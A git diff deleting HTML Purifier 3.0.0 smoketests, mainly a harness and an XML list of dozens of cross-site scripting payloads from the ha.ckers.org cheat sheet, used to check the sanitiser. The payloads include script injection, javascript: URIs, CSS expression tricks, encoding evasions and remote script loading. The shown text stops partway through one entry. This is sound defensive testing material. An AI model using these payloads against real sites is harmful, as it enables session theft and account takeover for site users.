-<?php echo $printer_css_definition->render($config) ?> -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/testSchema.php b/lib/htmlpurifier-3.0.0/smoketests/testSchema.php deleted file mode 100644 index e6b721d..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/testSchema.php +++ /dev/null @@ -1,43 +0,0 @@ -<?php - -// overload default configuration schema temporarily -$custom_schema = new HTMLPurifier_ConfigSchema(); -$old = HTMLPurifier_ConfigSchema::instance(); -$custom_schema =& HTMLPurifier_ConfigSchema::instance($custom_schema); - -HTMLPurifier_ConfigSchema::defineNamespace('Element', 'Chemical substances that cannot be further decomposed'); - -HTMLPurifier_ConfigSchema::define('Element', 'Abbr', 'H', 'string', 'Abbreviation of element name.'); -HTMLPurifier_ConfigSchema::define('Element', 'Name', 'hydrogen', 'istring', 'Full name of atoms.'); -HTMLPurifier_ConfigSchema::define('Element', 'Number', 1, 'int', 'Atomic number, is identity.'); -HTMLPurifier_ConfigSchema::define('Element', 'Mass', 1.00794, 'float', 'Atomic mass.'); -HTMLPurifier_ConfigSchema::define('Element', 'Radioactive', false, 'bool', 'Does it have rapid decay?'); -HTMLPurifier_ConfigSchema::define('Element', 'Isotopes', array('1' => true, '2' => true, '3' => true), 'lookup', - 'What numbers of neutrons for this element have been observed?'); -HTMLPurifier_ConfigSchema::define('Element', 'Traits', array('nonmetallic', 'odorless', 'flammable'), 'list', - 'What are general properties of the element?'); -HTMLPurifier_ConfigSchema::define('Element', 'IsotopeNames', array('1' => 'protium', '2' => 'deuterium', '3' => 'tritium'), 'hash', - 'Lookup hash of neutron counts to formal names.'); - -HTMLPurifier_ConfigSchema::defineNamespace('Instrument', 'Of the musical type.'); - -HTMLPurifier_ConfigSchema::define('Instrument', 'Manufacturer', 'Yamaha', 'string', 'Who made it?'); -HTMLPurifier_ConfigSchema::defineAllowedValues('Instrument', 'Manufacturer', array( - 'Yamaha', 'Conn-Selmer', 'Vandoren', 'Laubin', 'Buffet', 'other')); -HTMLPurifier_ConfigSchema::defineValueAliases('Instrument', 'Manufacturer', array( - 'Selmer' => 'Conn-Selmer')); - -HTMLPurifier_ConfigSchema::define('Instrument', 'Family', 'woodwind', 'istring', 'What family is it?'); -HTMLPurifier_ConfigSchema::defineAllowedValues('Instrument', 'Family', array( - 'brass', 'woodwind', 'percussion', 'string', 'keyboard', 'electronic')); -HTMLPurifier_ConfigSchema::defineValueAliases('Instrument', 'Family', array( - 'synth' => 'electronic')); - -HTMLPurifier_ConfigSchema::defineNamespace('ReportCard', 'It is for grades.'); -HTMLPurifier_ConfigSchema::define('ReportCard', 'English', null, 'string/null', 'Grade from English class.'); -HTMLPurifier_ConfigSchema::define('ReportCard', 'Absences', 0, 'int', 'How many times missing from school?'); - -HTMLPurifier_ConfigSchema::defineNamespace('Text', 'This stuff is long, boring, and English.'); -HTMLPurifier_ConfigSchema::define('Text', 'AboutUs', 'Nothing much, but this should be decently long so that a textarea would be better', 'text', 'Who are we? What are we up to?'); -HTMLPurifier_ConfigSchema::define('Text', 'Hash', "not-case-sensitive\nstill-not-case-sensitive\nsuper-not-case-sensitive", 'itext', 'This is of limited utility, but of course it ends up being used.'); - diff --git a/lib/htmlpurifier-3.0.0/smoketests/utf8.php b/lib/htmlpurifier-3.0.0/smoketests/utf8.php deleted file mode 100644 index 97f1441..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/utf8.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -// this file is encoded in UTF-8, please don't let your editor mangle it - -require_once 'common.php'; - -echo '<?xml version="1.0" encoding="UTF-8" ?>'; -?><!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html> -<head> - <title>HTML Purifier UTF-8 Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> -</head> -<body> -<h1>HTML Purifier UTF-8 Smoketest</h1> -<?php - -$purifier = new HTMLPurifier(); -$string = ' -<ul> - <li><b>Chinese</b> - 太極拳</li> - <li><b>Russian</b> - ЊЎЖ</li> - <li><b>Arabic</b> - لمنس</li> -</ul> -'; - -?> -<h2>Raw</h2> -<?php echo $string; ?> -<h2>Purified</h2> -<?php echo $purifier->purify($string); ?> -<h2>Analysis</h2> -<p>The content in <strong>Raw</strong> should be equivalent to the content -in <strong>Purified</strong>. If <strong>Purified</strong> is mangled, there -is likely trouble a-brewing in the library. If -both are mangled, check to see that this file was not corrupted.</p> -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/variableWidthAttack.php b/lib/htmlpurifier-3.0.0/smoketests/variableWidthAttack.php deleted file mode 100644 index c4054f6..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/variableWidthAttack.php +++ /dev/null @@ -1,54 +0,0 @@ -<?php - -require_once 'common.php'; - -echo '<?xml version="1.0" encoding="UTF-8" ?>'; -?><!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html> -<head> - <title>HTML Purifier Variable Width Attack Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> -</head> -<body> -<h1>HTML Purifier Variable Width Attack Smoketest</h1> -<p>For more information, see -<a href="http://applesoup.googlepages.com/bypass_filter.txt">Cheng Peng Su's -original advisory.</a> This particular exploit code appears only to work -in Internet Explorer, if it works at all.</p> -<h2>Test</h2> -<?php - -$purifier = new HTMLPurifier(); - -?> -<table> -<thead><tr><th>ASCII</th><th width="30%">Raw</th><th>Output</th><th>Render</th></tr></thead> -<tbody> -<?php - -for ($i = 0; $i < 256; $i++) { - $c = chr($i); - $html = '<img src="" alt="X' . $c . '"'; - $html .= '>A"'; // in our out the attribute? ;-) - $html .= "onerror=alert('$i')>O"; - $pure_html = $purifier->purify($html); -?> -<tr> - <td><?php echo $i; ?></td> - <td style="font-size:8pt;"><?php echo escapeHTML($html); ?></td> - <td style="font-size:8pt;"><?php echo escapeHTML($pure_html); ?></td> - <td><?php echo $pure_html; ?></td> -</tr> -<?php } ?> -</tbody> -</table> - -<h2>Analysis</h2> - -<p>By making sure that UTF-8 is well formed and non-SGML codepoints are -removed, as well as escaping quotes outside of tags, this is a non-threat.</p> - -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/xssAttacks.php b/lib/htmlpurifier-3.0.0/smoketests/xssAttacks.php deleted file mode 100644 index bd39cab..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/xssAttacks.php +++ /dev/null @@ -1,96 +0,0 @@ -<?php - -require_once('common.php'); - -function formatCode($string) { - return - str_replace( - array("\t", '»', '\0(null)'), - array('<strong>\t</strong>', '<span class="linebreak">»</span>', '<strong>\0</strong>'), - escapeHTML( - str_replace("\0", '\0(null)', - wordwrap($string, 28, " »\n", true) - ) - ) - ); -} - -?><!DOCTYPE html - PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html> -<head> - <title>HTML Purifier XSS Attacks Smoketest</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> - <style type="text/css"> - .scroll {overflow:auto; width:100%;} - .even {background:#EAEAEA;} - thead th {border-bottom:1px solid #000;} - pre strong {color:#00C;} - pre .linebreak {color:#AAA;font-weight:100;} - </style> -</head> -<body> -<h1>HTML Purifier XSS Attacks Smoketest</h1> -<p>XSS attacks are from -<a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a>.</p> -<p><strong>Caveats:</strong> -<tt>Google.com</tt> has been programatically disallowed, but as you can -see, there are ways of getting around that, so coverage in this area -is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. -The displayed code is not strictly correct, as linebreaks have been forced for -readability. Linewraps have been marked with <tt>»</tt>. Some tests are -omitted for your convenience. Not all control characters are displayed.</p> - -<h2>Test</h2> -<?php - -if (version_compare(PHP_VERSION, '5', '<')) exit('<p>Requires PHP 5.</p>'); - -$xml = simplexml_load_file('xssAttacks.xml'); - -// programatically disallow google.com for URI evasion tests -// not complete -$config = HTMLPurifier_Config::createDefault(); -$config->set('URI', 'HostBlacklist', array('google.com')); -$purifier = new HTMLPurifier($config); - -?> -<table cellspacing="0" cellpadding="2"> -<thead><tr><th>Name</th><th width="30%">Raw</th><th>Output</th><th>Render</th></tr></thead> -<tbody> -<?php - -$i = 0; -foreach ($xml->attack as $attack) { - $code = $attack->code; - - // custom code for null byte injection tests - if (substr($code, 0, 7) == 'perl -e') { - $code = substr($code, $i=strpos($code, '"')+1, strrpos($code, '"') - $i); - $code = str_replace('\0', "\0", $code); - } - - // disable vectors we cannot test in any meaningful way - if ($code == 'See Below') continue; // event handlers, whitelist defeats - if ($attack->name == 'OBJECT w/Flash 2') continue; // requires ActionScript - if ($attack->name == 'IMG Embedded commands 2') continue; // is an HTTP response - - // custom code for US-ASCII, which couldn't be expressed in XML without encoding - if ($attack->name == 'US-ASCII encoding') $code = urldecode($code); -?> - <tr<?php if ($i++ % 2) {echo ' class="even"';} ?>> - <td><?php echo escapeHTML($attack->name); ?></td> - <td><pre><?php echo formatCode($code); ?></pre></td> - <?php $pure_html = $purifier->purify($code); ?> - <td><pre><?php echo formatCode($pure_html); ?></pre></td> - <td><div class="scroll"><?php echo $pure_html ?></div></td> - </tr> -<?php -} - -?> -</tbody> -</table> -</body> -</html> diff --git a/lib/htmlpurifier-3.0.0/smoketests/xssAttacks.xml b/lib/htmlpurifier-3.0.0/smoketests/xssAttacks.xml deleted file mode 100644 index 5b833f8..0000000 --- a/lib/htmlpurifier-3.0.0/smoketests/xssAttacks.xml +++ /dev/null @@ -1,1307 +0,0 @@ -<?xml version="1.0"?> -<xss> - <attack> - <name>XSS Locator</name> - <code>&apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;=&amp;{}</code> - - <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up. You&apos;ll need to replace the &quot;&amp;&quot; with &quot;%26&quot; if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you&apos;re in a rush and need to quickly check a page, often times injecting the deprecated &quot;&lt;PLAINTEXT&gt;&quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc> - <label>Basic XSS Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>XSS Quick Test</name> - <code>&apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}</code> - <desc>If you don&apos;t have much space, this string is a nice compact XSS injection check. View source after injecting it and look for &lt;XSS versus &amp;lt;XSS to see if it is vulnerable.</desc> - - <label>Basic XSS Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>SCRIPT w/Alert()</name> - <code>&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;</code> - <desc>Basic injection attack</desc> - - <label>Basic XSS Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>SCRIPT w/Source File</name> - <code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</code> - <desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc> - <label>Basic XSS Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>SCRIPT w/Char Code</name> - <code>&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</code> - <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.</desc> - - <label>Basic XSS Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>BASE</name> - <code>&lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&gt;</code> - <desc>Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won&apos;t get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like &quot;images/image.jpg&quot; rather than full paths. If the path includes a leading forward slash like &quot;/images/image.jpg&quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>BGSOUND</name> - <code>&lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>BGSOUND</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>BODY background-image</name> - <code>&lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>BODY image</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>BODY ONLOAD</name> - <code>&lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;</code> - <desc>BODY tag (I like this method because it doesn&apos;t require using any variants of &quot;javascript:&quot; or &quot;&lt;SCRIPT...&quot; to accomplish the XSS attack)</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>DIV background-image 1</name> - <code>&lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&gt;</code> - <desc>Div background-image</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>DIV background-image 2</name> - <code>&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;</code> - <desc>Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>DIV expression</name> - <code>&lt;DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;</code> - <desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and &quot;expression&quot;</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>FRAME</name> - <code>&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/FRAMESET&gt;</code> - <desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>IFRAME</name> - <code>&lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;</code> - <desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>INPUT Image</name> - <code>&lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>INPUT Image</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - </attack> - - <attack> - <name>IMG w/JavaScript Directive</name> - <code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>Image XSS using the JavaScript directive.</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>IMG No Quotes/Semicolon</name> - <code>&lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;</code> - <desc>No quotes and no semicolon</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>IMG Dynsrc</name> - <code>&lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>IMG Dynsrc</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>IMG Lowsrc</name> - <code>&lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> - <desc>IMG Lowsrc</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>IMG Embedded commands 1</name> - <code>&lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;</code> - <desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>IMG Embedded commands 2</name> - <code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser</code> - <desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC=&quot;http://badguy.com/a.jpg&quot;&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc> - - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>IMG STYLE w/expression</name> - <code>exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*//*&quot;); -xss:&amp;#101;x&amp;#x2F;*XSS*//*/*/pression(alert(&quot;XSS&quot;))&apos;&gt;</code> - - <desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>List-style-image</name> - <code>&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS</code> - - <desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>IMG w/VBscript</name> - <code>&lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;</code> - <desc>VBscript in an image</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>LAYER</name> - <code>&lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;</code> - <desc>Layer (Older Netscape only)</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Livescript</name> - <code>&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;</code> - <desc>Livescript (Older Netscape only)</desc> - <label>HTML Element Attacks</label> - - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>US-ASCII encoding</name> - <code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code> - <desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc> - <label>HTML Element Attacks</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span 